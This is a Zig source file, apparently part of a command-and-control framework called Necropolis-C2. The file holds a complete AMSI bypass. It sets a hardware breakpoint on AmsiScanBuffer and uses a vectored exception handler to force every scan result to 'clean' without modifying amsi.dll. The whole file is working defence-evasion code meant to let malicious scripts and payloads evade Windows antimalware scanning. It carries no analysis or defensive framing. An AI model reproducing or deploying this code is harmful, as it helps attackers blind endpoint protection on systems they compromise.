Files
Necropolis-C2/evasion/amsi.zig
T
2026-07-07 04:50:23 +01:00

52 lines
2.6 KiB
Zig

// 4. AMSI bypass — hardware breakpoint on AmsiScanBuffer. No bytes modified in amsi.dll.
// 1. g_veh_handle — VEH registration handle, g_amsi_scan_addr — cached AmsiScanBuffer address.
// 2. amsi_veh_handler — SINGLE_STEP → RAX=0 (AMSI_RESULT_CLEAN), skip the function body.
// 3. patch_amsi — LoadLibraryW("amsi.dll") → GetProcAddress → AddVectoredExceptionHandler →
// SuspendThread → SetThreadContext(DR0=scan_addr, DR7=1) → ResumeThread.
// Suspend/Resume pair is required because SetThreadContext while running can race.
const std = @import("std");
const win = @import("win32.zig");
const api = @import("api.zig");
var g_veh_handle: ?*anyopaque = null;
var g_amsi_scan_addr: ?*anyopaque = null;
// VEH handler: on SINGLE_STEP at g_amsi_scan_addr → RAX=0, RIP=ret_addr, skip function
fn amsi_veh_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG {
if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and
ex.ExceptionRecord.ExceptionAddress == g_amsi_scan_addr)
{
ex.ContextRecord.Rax = 0; // AMSI_RESULT_CLEAN
const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*;
ex.ContextRecord.Rip = ret_addr; // jump to AmsiScanBuffer's caller
ex.ContextRecord.Rsp += 8; // pop return address
return win.EXCEPTION_CONTINUE_EXECUTION;
}
return win.EXCEPTION_CONTINUE_SEARCH;
}
pub fn patch_amsi() void {
if (g_veh_handle != null) return;
api.ensure();
const load_w = api.amsi_load_library_w orelse return;
const get_addr = api.amsi_get_proc_address orelse return;
const veh = api.amsi_add_vectored_exception_handler orelse return;
const cur_thread = api.amsi_get_current_thread orelse return;
const set_ctx = api.amsi_set_thread_context orelse return;
const suspend_thread = api.amsi_suspend_thread orelse return;
const resume_thread = api.amsi_resume_thread orelse return;
const amsi = load_w(&[_:0]u16{ 'a', 'm', 's', 'i', '.', 'd', 'l', 'l', 0 });
if (amsi == null) return;
g_amsi_scan_addr = get_addr(amsi.?, "AmsiScanBuffer");
if (g_amsi_scan_addr == null) return;
g_veh_handle = veh(1, amsi_veh_handler); // 1 = first in handler chain
const thread = cur_thread();
var ctx = std.mem.zeroes(win.CONTEXT);
ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS;
ctx.Dr0 = @intFromPtr(g_amsi_scan_addr.?); // breakpoint address
ctx.Dr7 = (1 << 0); // enable DR0 locally
_ = suspend_thread(thread);
_ = set_ctx(thread, &ctx);
_ = resume_thread(thread);
}